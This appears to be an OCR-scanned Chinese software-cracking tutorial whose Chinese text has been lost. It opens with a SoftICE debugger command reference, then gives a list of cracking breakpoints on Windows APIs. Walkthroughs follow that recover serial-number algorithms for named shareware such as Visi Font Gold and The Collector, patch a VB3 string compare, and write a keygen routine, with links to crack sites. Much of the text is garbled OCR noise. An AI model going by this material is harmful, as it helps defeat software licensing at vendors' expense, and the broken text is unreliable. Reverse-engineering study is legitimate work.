BPAND——
BPAND list|  |OFF
list ——
BPAND
BPAND
BL
BPANDO 2 3
0 2 3
2 3
Soft ICE

Oh Fh

BPX

INT 3

addressend address

IP
NOT
ROM BIOS
AND
BPAND
BPAND OFF
BPAND
0 0
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BD——
BE—
BL—
BPE——
BPT——
BC—
BD——
BD list |
list —
BD BE
BL
BD1 3
1 3
BE—
BE ligt |
list ——
BE BD
BE3
3
BL—
BL
BL BL
BPAND
BL
BL
4
0 BPMB 1234 0000W EQ 0010 C=03
1  BPRBO000 0000B000 1000W C=01
2 BPIO 00021 W NE OOFF C=01
3 BPINT 21 AH=4C C=01
BPE——

BPE break number

BPE
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Enter
BPE 1

BPT—
BPT break number

BPT

BPT 3

BC—

BC list|
list ——

BC
BC

U address L

Cs

length

Enter

Enter
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U 10
10h
u 499
499
R——
Rregister name = vaue
register name —
AL AH AX BL BH BX CL CH CX DL
DH DX DI S BP SP IP CS DS ES
SS FL
value —— register name FL  vaue 16
register name FL value

O —— Overflow flag
D —— Direcrion flag
| —— Interrupt flag
S —— Signflag
Z —— Zeroflag
A —— Auxiliary carry flag
P —— Parity flag
C — Caryflag
R
CsS IP
register name value Soft ICE
register name FL
Enter
register name value value

FL register name

RAHS5
AH 5
RFL=0OZP
o z P
RFL

RFLO A C
O A C
MAP—
MAP
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MAP
10h byte
CsS IP
MAP
MAP
MAP
CsIP
MAP
DOS 31
D DB DW DD——
D size address L = length
size —B —— byteW —— word D —— double word
length ——
D
size size size
ASCII
address
length 8
length
DWDS 00L=8
ASCII 8
E EB EW ED——
E sze address data list
size —B —— byteW —— word D —— double word
data list — size
E
ASCII size
ASCII
size size

SPACE —
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TAB — ASCII
ESC Enter —
16
Tab ASCII
8
EB 1000 O
1000 0000 ASCII
EB 8000 0 “ HELLO" 0D
8000 0000 HELLO
INT —
INT
INT
INT
INT
Last Interrupt 16
At 0070 0255
Soft ICE 16h
0070 0255 0070 0255
H
< |H>  command | expression
H
ESC
16 10 ASCII
ALTKEY
ALTKEY
H10 14 2
0038 00056 “ 8" 10 14 2 16 10 ASCII
VER— Soft ICE
VER
VER
Soft ICE Nu Mega
1/0

I 1B— 110
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IW—— 110
O OB— 110
OoOW—— /0
I IB IwW—  1/O
I size  port
size —B —— byteW —— word D —— double word
port ——
size
121
O OB OW— /O
O size portvdue
size —B —— byteW —— word D —— double word
port ——
vaue —
size
O21FF
X— Soft ICE
G——
j —
pP——
HERE——
GENINT—
EXIT— DOS
BOOT— Soft ICE
HBOOT——
X— Soft ICE
X
X Soft ICE Soft ICE
Soft ICE
G——
i G =staer address break address
G Soft ICE
sticky
start address start address CS IP

break address sticky
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break

Cs

count

sticky

HERE——

HERE
HERE

HERE
sticky

IP

address
break address CS IP
G X
sticky non sticky
INT 3
GCS 1234
CS 1234
T =stat address count
start address CS IP
start address
count Soft ICE count TRACE
ESC
T
T
T
T=12843
1284 3
P
CS IP
Soft ICE
non sticky 80386
INT 3 ROM
P
P
HERE
G
Soft ICE
CS |IP

ROM

start

80386

address
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sticky
sticky non sticky
80386 INT 3 ROM
G P
HERE
Soft ICE CsS IP
GENINT—
GENINT INT1 | INT3 | NMI | interrupt number
interrupt number —— 00 FF
GENINT Soft ICE
GENINT
INT fag CS IP Cs
IP interrupt  number
GENINT NMI
Soft ICE  CodeView
CodeView
EXIT— DOS
EXIT R D
R ——
D ——
EXIT INT 21h 4Ch DOS
DOS
R BIOS
R
Soft ICE LDR EXE VECS
S
LDR EXE
EXITR
LDRprog EXE
EXIT LDR
EXE
EXIT Soft ICE DOS
EXIT EXIT
BIOS EXIT
EXITR
LDR.EXE R
BOOT— Soft ICE

BOOT
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BOOT Soft ICE BOOT
DOS
BOOT ROM BIOS 19h 1%9h
Soft ICE HBOOT
BOOT Soft ICE CONFIG SYS
Soft ICE
BOOT
Soft ICE
HBOOT——
HBOOT
HBOOT Soft ICE
HBOOT
HBOOT
Soft ICE
ACTION—
WARN—— DOS/ROM BIOS re entrancy
BREAK——
13HERE—— INT 3 Soft ICE
ACTION—
ACTION  INT1|INT3|NMI |HERE|int number
int number —— 0 FFh
ACTION
HERE.INT3 Soft ICE HERE
Soft ICE INT1 NMI INT3
CodeView ACTION NMI
int  number
int  number 1 2
ACTION HERE
ACTION HERE
Soft ICE
WARN—— DOS/ROM BIOS re entrancy
WARN  ON | OFF
WARN Soft ICE DOS ROM BIOS
DOS ROM BIOS DOS

DOS

INT3

ROM BIOS
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DOS ROM BIOS

WARN ON ACTION HERE
Soft ICE CS IP Soft ICE
Soft  ICE DOS ROM BIOS
Soft ICE  DEBUG SYMDEB  CodeView WARN ON
WARN
WARN OFF
WARN ON
DOS/ROM BIOS
BREAK—
BREAK  ON|OFF
BREAK Soft  ICE
BREAK
BREAK
BREAK
Soft ICE BREAK ON
Soft  ICE
BREAK
BREAK OFF
BREAK ON
BREAK Soft  ICE
13HERE—— INT 3 Soft ICE
13HERE ON | OFF
13HERE INT 3h Soft ICE
INT 3 INT 3 Soft ICE R IP
INT 3
13HERE
13HERE OFF
13HERE ON
13HERE INT 3 Soft  ICE
A—
S—
F——
M——
cC——
A—
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Soft ICE 8086
80186 80286 80386
A Soft ICE
Enter
Intel Enter
Soft ICE 8086
DB DB /
RETF far return

WORD PTR BYTE PTR
MOV BYTE PTR ES 1234 1

FAR NEAR FAR
NEAR NEAR
MOV AX 1234
ACS 1234
CsS 1234
Enter
S—
SaddressL lebgth data list
data list —
length ——
S data list address
length
SDS S 10LCX'Helo 12 34
S 10 Hello
12h  13h CX
—
F address L length data list
data list —
length ——
F data list address
length data list
F8000 Ol 100 Test'
8000 0000 100h Test Test
M——

M start addressL lengthend address
length ——



2001

M start address length
end address
M 1000 0L 2002000 O
1000 0000 200h
2000 0000
C—
C addressl L length address2
length ——
C addressl length address2
C5000 100L 106000 100
5000 100 10h
10h
SHOW—— history buffer
TRACE— trace simulation
XT—
XP—
XG—
XRSET— back trace buffer
VECS— / /
SNAP——
EMMMAP— EMM
SHOW—— history buffer
SHOW B |start
B — SHOW
start ——
SHOW
SHOW PageUp PageDown Esc
SHOW
TRACE SHOW
SHOW 40

6000 100

SHOW
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TRACE—— trace simulation
TRACE  start | OFF
Start——
OFF——
TRACE

XT XP XG

TRACE OFF
TRACE ON  OFF
TRACE
TRACE
SHOW
TRACE 40
40
TRACE OFF
XT—
XT R
R ——
XT
T Ccs IP
XT
XT TRACE
XT
XT
XP—
XP
XP
T cs IP
XP
XP TRACE
XP
XP

XG—
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XG R address

R _
address ——
XG
R
address
XG G
XG TRACE
XG 273 1030
273 1030
XRSET— back trace buffer
XRSET
XRSET
SRSET
VECS—— / /
VECS CISR
C —_
S -
R —_
VECS Soft ICE
C
addressold vector new vector
Soft ICE LDR EXE
VECSS
VECSC
Soft ICE
SNAP——
SNAP C|S|R  addressl address?
C —_
S —_
R —_

SNAP S
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C
addressold datanew

C R
address SNAP
SNAP
XXXX SNAP

SNAP

SNAP
SNAP S 2000

2000 O
EMM

EMMMAP—
EMMMAP

EMMMAP

Soft

EMM
EMMMAP

data

address

address

CONFIG SYS

SNAP

04000 O
4000 O

EMM

ICE EMM

EMM

Phy PageSeg addresHandle/Page

OODOOOFFFF

01D4000001/0000
02D8000001/0001
03DC000001/0002

page O

page 2
page 2

page O
handle 1

Soft ICE

WR—
WC— /
WD—— /
EC— /

WR—
WR

D000
D800 handle 1

pgae 1
page 1

address

ITRA

S ICE EXE

SNAPS

Soft  ICE

page page

handle 1
DCO00

D400
page 3
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WR
8086
F2
WC—— /
WC  window size
window size—— 1 21

window size
window size
EC
WC 12
12
12
WD—— /
WD window size
window size — 1 21
window size
window size

WD 1

12

EC
Point and shoot break points
Point and shoot break points BPX
BPX F9
Go to cursor line

HERE

Scrolling the code window

uP —

EC

BPX

F7
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DOWN ——
PageUp ——
PageDown ——
EC
PAUSE —
ALTKEY —— Soft ICE
FKEY —
BASE — /
CTRL P — LOG
Print Screen ——
PRN ——
PAUSE —
PAUSE ON|OFF
PAUSE
PAUSE
PAUESE ON
PAUSE ON
ALTKEY —— Soft ICE
ALTKEY  ALTletter | CTRLIetter
letter —— A z
ALTKEY Soft ICE
ALT SysRq PrtScr
Soft ICE Cul D
ALTKEY Soft ICE
SHIFT Soft ICE
Ctrl D
Alt  PrtScr
Ctrl D
ALTKEY ALT Z
Cirl Z Soft ICE
FKEY —
FKEY  function key namestring

PAUSE

ON Soft

SYSREQ

Ctrl  Shift
System Request

ICE

CTRL

D
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function key name — F1 F2 F12
string —— string Soft ICE n A
Enter
FKEY
ICE

FKEY function key name

S ICE DAT 6 4

A Shift 6

F2
F2
Soft ICE S ICE DAT
Soft ICE
function key name=" string”

FKEY F2"WR command line

F2 A
Enter F2 on off

FKEY F1 “ GCS 120 R GCS” command line

F1 Cs 120
G
FKEY FIWD3 DDS 100 command line
F1 Enter
DS 100
F1=“ WR WD2 WC10 "~ S ICE DAT
S ICE.DAT Soft ICE
Soft ICE F1 2
BASE —— /
BASE 10]16
BASE 10 16 10

10
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WIN
16
BASE 16
16
Ctrl P — LOG
Ctrl P
Ctrl P
LOG
Ctrl P
Print Screen ——
Print Screen
Print Screen
Screen Print
PRN ——
PRN LPTx | COMx
X — 1 4
PRN Ctrl P
PRN COM 1
Ctrl P
FLASH —— P T
FLICK —
WATCHYV ——
RS —
CLS —
ALTSCR ——
WIN —— Soft ICE
FLASH —— P T
FLASH ON | OFF
FLASH T
T P

P CALL

Print

Print

Ctrl

Screen

Screen

P

Screen

10

PAUSE OFF

Ctrl P

COM 1

VIDEO MEMORY

16

Print
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FLASH
FLASH OFF
FLASH ON
FLASH ON P T
FLICK —
FLICK  ON|OFF
Soft ICE
FLICK ON EGA Soft  ICE
EGA 3DA
CGA 3DA hsync vsync CGA
EGA Soft ICE
CGA
EGA Soft ICE
FLICK ON Soft ICE 3DA
FLICK ON
FLICK
FLICK OFF
FLICK ON
FLICK ON Soft ICE
WATCHVY ——
WATCHV  ON | OFF
WATCHV Soft ICE Soft ICE
INT 10 INT 10
WATCHV OFF Soft ICE
WATCHV ON Soft ICE
Soft ICE
WATCHV ON WATCHV ON
WATCHV
WATCHV OFF
WATCHV ON
WATCHV ON
RS —
RS
RS Soft ICE
Soft ICE
RS
CLS —

CLS
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CLS Soft  ICE
CLS

ALTSCR —
ALTSCR  ON | OFF

ALTSCR
Soft ICE

ALTSCR
WATCHV OFF

ALTSCR ON

WIN —— Soft ICE

WIN N |W start row length  start column
N — N 46
W — W
stat row —— O 17
length —— 8 25
start column ——
start row start column

start column
WIN Soft ICE
WIN N W
start row 25 length WIN
WIN N 4930
4 30 9 46
WIN
WINW 108
10 8

Win API

1 F12n
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Windows “

Windows

APl

APl

APl

WinAPI

SoftICE
Windows

APl Application Programming Interface Windows

Win32 API
API C
” dil
gdiz2 dil—
kernel32  dll—
user32  dil—

API
WindowsAPI

EnableMenultem
EnableWindow

CreateDialog
CreateDial ogParam
CreateDial oglndirect

API
Windows API API

WindowsAPI “

32  Windows Windows APl .DLL

API
API
Visua Basic

E MAIL
Visual Basic
WinAPI Win32API .txt

CreateDial oglndirectParam

DialogBox
DialogBoxParam
DialogBoxIndirect
DialogBoxIndirectParam
EndDiaog
MessageBox

M essageBoxEx

M essageBoxIndirect
GetDlgltemint
GetDlgltemText
GetDlgltemTextA
Hmemcpy

GetDiskFreeSpaceA
GetDiskFreeSpaceExA
GetDriveTypeA
GetLogicalDrives
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GetFullPathNameA

GetVolumel nformationA

GetWindowsDirectoryA Windows
GetSystemDirectoryA Windows System

CreateFileA

OpenFile

ReadFile

ReadFileEx  ReadFile
WriteFile

WriteFileEx  WriteFile
SetFilePointer
SetEndOfFile
CloseHandle

_lcreat

_lopen

_lread

_lwrite

_llseek

_Iclose

_hread

_hwrite
OpenFileMappingA
CreateFileMappingA
MapViewOfFile
MapViewOfFileEx
CreateDirectoryA
CreateDirectoryExA
RemoveDirectoryA
SetCurrentDirectoryA
MoveFileA
DeleteFileA
CopyFileA
CompareFileTime
SetFileAttributesA

SetFileTime

FindFirstFileA

FindNextFileA FindFirstFile
FindClose FindFirstFile
SearchPathA

GetBinary TypeA
GetFileAttributesA
GetFileSize
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GetFileTime
GetFileType

RegOpenKeyA
RegOpenKeyExA
RegCreateK eyA
RegCreateK eyExA
RegDeleteK eyA
RegDeleteValueA
RegQueryValueA
RegQueryVa ueExA
RegSetValueA
RegSetValueExA
RegCloseK ey

CompareFileTime
GetFileTime

GetLocal Time
GetSystemTime
GetTickCount ~ Windows
SetFileTime

SetlLoca Time
SetSystemTime

CreateProcessA
ExitProcess
FindExecutableA
FreeLibray
GetCurrentProcess
GetCurrentProcessld
GetCurrentThread
GetExitCodeProces
GetExitCodeThread
GetModuleHandleA
GetPriorityClassA
LoadLibraryA
LoadLibraryExA
LoadModule Windows
TerminateProcess

SoftICE
CRACK

bpx hmemcpy

CRACK
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bpx MessageBox

bpx MessageBoxExA

bpx MessageBeep

bpx SendM essage

bpx GetDIgltemText

bpx GetDIgltemint

bpx GetWindowText

bpx GetWindowWord

bpx GetWindowInt

bpx DialogBoxParamA

bpx CreateWindow

bpx CreateWindowEx

bpx ShowWindow

bpx UpdateWindow

bmsg xxxx wm_move

bmsg xxxx wm_gettext

bmsg xxxx wm_command

bmsg xxxx wm_activate
bpint 21 if ah==2A  DOS

bpx GetLoca Time

bpx GetFileTime

bpx GetSystemtime

CD ROM bpint 13 if ah==
bpint 13 if ah== DOS
bpint 13 if ah== DOS
bpx GetFileAttributesA
bpx GetFileSize
bpx GetDriveType
bpx GetLastError
bpx ReadFile
bpio h  YourCD ROM Port Address
bpio h278R
bpio h378R
bpint 16 if ah== DOS

bpint 21 if ah==0xA  DOS
bpint 21 if ah==3dh  DOS
bpint 31if ah==3fth  DOS
bpint 21 if ah==3dh  DOS
bpx ReadFile
bpx WriteFile
bpx CreateFile
bpx SetFilePointer
bpx GetSystemDirectory

DOS

INI bpx GetPrivateProfileString
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bpx GetPrivateProfilelnt
bpx WritePrivateProfileString
bpx WritePrivateProfilelnt
bpx RegCreateK ey

bpx RegDeleteK ey
bpx RegQueryVaue
bpx RegCloseK ey
bpx RegOpenK ey

bpx cs eipif EAX==

bpmbcs eiprwif 0x30 Ox45AA==

bpx 0x30 Ox45AA do “ dO0x30 0x44BB”

bpx CS 0x66CC do “ EAX”

UF'”;H

|l-|

V@Maﬂ %@ﬂ@ -IHJH ,rdl

Windows
Windows VB3 VB4 99
VBRUNXxx VB
SmartCheck SmartCheck NuMega
v6.03
SmartCheck VB
VB5 VB6
SmartCheck Softice
SmartCheck VB
SmactCheck ¢ \Program files
Program files
SmartCheck
SmartCheck SmartCheck
Program - Settings 1 SmartCheck
3 Error Detection Rrporting  Program Info.
Error Detection 1 “ Report error immediately”

acknowledge
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27 ctms vt 11w - Fallips Exar ik EviAine & {E5

Falas in Chask | Ierar Dapprevass | Fragre Luis ]
Broer Buizsbiom | Forp o 1aing

gy Pearilheck can deiqch and repari sarr ivpsn of sreliless

! Flick sr 5 iyps bs ses sddiidess] sebiings war m igps i
e dew’ § red be shark Ber dhase bosds sl prokless.

[Ft af WTErL T8 Ballili 15 Ewal

=) (o l erd me—rry

W Falwisr swarn
* Leaia
o AFT el (EE Fasriiss sull ar

s

Pl il |
™ fame thase anblisgs we Ghe snibind raless dor Famd L T I
[o ]_wa | _an |

1 Advanced 2

— ff__[j';eport errors cauzed by other!

I Report errors even if no source code is
¥ Report each error only

[ lUse multiple checking alzn

I Checls 211 heap blocks on each memorsy funct
I Overwrite memory with £ill pattern upon de

Guard bytes Fill

m 0x=EF (ASCIT 1

Ferformance Optimizations

IT Cache prozram ewent
v Suppress system API and OLE c
I Defer program results until progzram +

oK | Camcel | Help |

Advanced 2 4 “ Suppress system APl and OLE calls’

EERETRC T b

Fulan 4 Chank i [T S | Fesgres Indn i
Erver Dalasiam Eapariang

e il will el ] BT Tingd aen il o eseidi avaly
afwer marting T !rn:r'!-_l- Inﬂtﬂﬁ Jiks 1 cerdral shae gmant

i S vent reparting sk anarting thd
Bt addi 1 Fial svaktE

di aklas, bl bk migmidis
mir'hlﬂul'.lmﬁ u i mrm

FF Jopers hardlad Yisasl Basie reedise
] N | NS T Y p—

ol tha amamiy

Bepere ||-n-I:-l_l;l:p|_| ______
B Repurd gelibers e bask Pase

Cw= ] ws | ww |

3
Reporting 3 “ Report MouseMove events from OCX controls’
SmartCheck
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Jils fh1 fis= hiewes Fads By

$ O pid b
Ton tah il er v rimlin 1
remin e mimmiod i
o B dmi

4
1 SmartCheck 4
2 “ File “ Open”
3 F5 “ Program” “ Sart” Start
5
el
i-ﬂ-m
1hTﬂl'-'l.—ﬂ
I
o el DL LWL [ = p_m
| | =l
B womrow 1ile
Fagan F1 b halpe ﬂ
5
4 “ Program” “ End” Stop
SmartCheck
SmartCheck

1 SmartCheck 3
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2 “ Program Results window”

B BICMZMA EXE -

Fregrws Traazeriph
CAEATE _PROCESS: DOH00000

LD DL besse TRE GO0 OLEAUTIZ A
ILOGL_CLL besser FREAD000 ol 22 00
ILOAD_DLL base EFES0000 A0WVARE2 4
OGO _DLL base EBFF10000 GODI32 A
LOWD UL, base BFFAD000 USERIZ
DL base BEFGO00 EEANELT2 A

DLL base BHORO0000 SCLogdl

DLL baze SHOBDO00 =CMed dil

[SLL haee SHOSOO0D0 SO dil

_DLL baysa SHTCO000 SCSyresng ol
AL Ll beassen: DLTONEE SCHECORE DILL

332
=
1
kR
g
=
22

0D

SmartCheck

“ View” “ Show All Events’ VB

RASmartCheck ,r!

h p
o
Vis Font Gold
ManKind
23199981
Softice Smartcheck
VB5
_ SoftICE
bpx __vbsStrCmp
SoftICE unlock SoftICE
F11
0042CAF6 CALL VBVMSO0 _ vbaStrCmp
0042CAFC MOV ESI EAX ~

i1 |II

SmartCheck
VB5
__vbaStrCmp

__vbaStrCmp function

EDX
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d edx
SoftICE
5
SmartCheck
“ My
Computer\HK CU\Software\WB ~ VBA Program Setting\Visi Font Gold 2.0\Font Viewer\”
SoftICE
SmartCheck VB SoftICE
SmartCheck 6.01 6.XX
SmartCheck
SmartCheck SmartCheck visigold.exe
- ManKind 23199981 the Unlock
OK SmartCheck -
Unlock
SmartCheck
Command1l SmartCheck
Commandl_Click
Commandl_Click
Textl.Text
LTrim  ~
LenreturnsLONG 7
Mid  «
AscreturnsInteger 77 ~ ascii
Double 5929 - Long 5929 - 77 77 = 5929
Mid  «
AscreturnsInteger 97 ~ ascii
Double 24747 - Long 24747 - 97 97 2 5929 = 24747
Mid
Ascreturnsinteger 110 ascii
Double 61047 - Long 61047 ~ 110 110 3 24747 =
61047
Mid  «
Ascreturnsinteger 75 ~ ascii
Double 83547 - Long 83547 ~ 75 75 4 61047 = 83547
Mid  «
AscreturnsInteger 105 ~ ascii

Double 138672

-Long 138672 ~ 105 105 5 83547 =
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138672
Mid  «
Ascreturnsinteger 110
Double 211272 - Long 211272
211272
Mid  «
Ascreturnsinteger 100 ~
Double 281272 -Long 281272
281272
Text3.Text
LTrim
LTrim
MsgBox returnsInteger 1
Commandl_Click
1 77 77=5929
77 77 1=5929
__vbaPowerR8 “ ascii
2. ascii
algo
Fori=1tolLen Textl.Text i
namel =Asc Mid TextlText i 1
name2=  namel” 2 i 'main algo here
current position of byte
name3 = name3 name2'
Nexti
Text2. Text = name3'
SmartCheck VB 5

ascii
~ 110 110 6 138672 =
ascii
~ 100 100 7 211272 =
algo asscii
SmartCheck
77"
97 97
Textl.Text
ascii of byte power by 2 and multiplied to
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I !

| 5 ; .

b, 'i [ I :_.-'_..'-.I
i J & K4 LA LR

“'Softice

ey
- ._.'\..1 ., __II
The Collector
The Collector v2.1
http  //internet.ca/  logic/collectr.html

collectr.exe=246.047 bytes

DLL wusesVB3dll < VB3.DII
9876543210 control—d softice
softice * bpx hmemcpy’ hmemcpy hmemcpy Windows
hmemcpy vbdil
Windows vbdil
Ctr I—d Windows “ OK” Softice hmemcpy
hmemcpy
F10
Memory_copying_snippet
JMP 9E9E
USH ECX
CX 02
REPZ MOV SD
POP ECX
ND ECX 03
REPZ MOV SB
XORDX DX
REPZMOVSD “ eds”
“ 0987654321" “ edes di” F10
repzmovsb es di vbdll
vbdll
bpr breakpoint on range REPZMOVS D/B
di “ bpres di—8es di—1rw”
Softice
strlen
REPZMOV SW
bpr

hmemcpy Hmemcpy dil

9 )
e 1 s [
| R |
g
! 1L
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4
hmemcpy 3
vb3 dil
vb3
The VB3 _compare_snippet
8BCA mov cx  dx
F3A6 repzcmpsb < inds s es di
7401 je 8CB6
9F lahf
92 xchgax  dx
8D5E08 lea bx bp 08
E8OEO06 call 92CB
REPZ CMPSB “eds’ ‘' edes di’
« yg "
0Vv87654321
VB3
The Collector
1 The Collector
2. Softice  hmemcpy OK Softice
3. vbrun300 F11 F10
4. 8B CA F3 A6 74 01 9 92 8D O5E 08 E8 OE
06 “ movcx dx” s O | ffffffffff 88 CA F3
A6 74 01 9o 92 8D O5E 08 E8 OE 06
5 F5 es d ds s

| §IIV1 .1 H J—

1 ” Vll “ ”

http  //www.csdn.net/soft/openfileasp  kind=1 id=10365
TRW2000
Soft ice
http  //www.crackbest. net/unlock/debug/trw2k123.zip
TRW2000 “ TRW2000"
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trw2000.exe
“ Browse 8
OK 1 BrOW$” 13 _eXe” 1 ”
1 DOS‘”
13 F511 13 ”
13 OK” 13 ”
” 13 Crmk” 13 ” 1 1234511
“ Ctrl M” Trw2000.ini
bpx hmemcpy
13 prH
“ bpx hmemcpy” “ bpx getwindowtext”
g
13 g'” 13 ” 13 F5” 1 X” Exit Wi ndOW
bc
“ bc” bc n|
13 ” bC
pmodule
“ pmodule’
13 X”
13 EAXH 1 EBX”
13 ” 16
“ 0043199F" “ F10”
0043199F MOV  EBX 0OC EAX
004319A2 MQV EAX EBX
004319A4CMPEAX BYTE O0OC
004319A9 MQV EDX EBX 08
004319AC PUSH EDX
004319AD MOV ECX EBX 04

004319BO MOV EAX EDX
004319B2 MOV EAX ESI
004319B4 CALL 0042D880
004319B9 IMP 004319C4

Load”
TRW2000

@ ” “

“ Ctrl N”

bpx address

ADDRESS

Cs



2001

00475D04 LEA EAX EBP 0OC
00475D07 PUSH EAX

00475D08 MOV ECX 01
00475D0OD MOV EDX ESI
00475DOF MOV EAX EBP 04
00475D12 CALL 00403FFO
00475D17 MOV EAX EBP OC
00475D1A CALL 00403FAC
00475D1F MOV AL EAX

“ AL” 1 AL” “ Cn ASC“ 1 9911

00475D21 AND EAX FF
00475D26 ADD EBP OC EAX

ASCII
00475D29 INC ESI
00475D2A DEC EBX
00475D2B JNE 00475D04 JUMP
Y JUMP” “ F10”
“ 0047D04" ASCII
“ JUMP " “ NO JUMP " * crack” 516

99 114 97 99 107=516

“ " “ Microsoft
Visual Basic V6.0"

Private Sub Commandl_Click
On Error Goto Err

Dima b c¢ dAsinteger
a=Len  Textl.text

If a0  Then Exit Sub
Forb=1Toa

c=Asc Mid textltext b
d=d c

Next

Textl.text=""

Textl.text=d
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Exit Sub

Err

Exit Sub

End Sub

Private Sub Command2_Click
End

End Sub

http  //www.crackcn.com

TRW2000



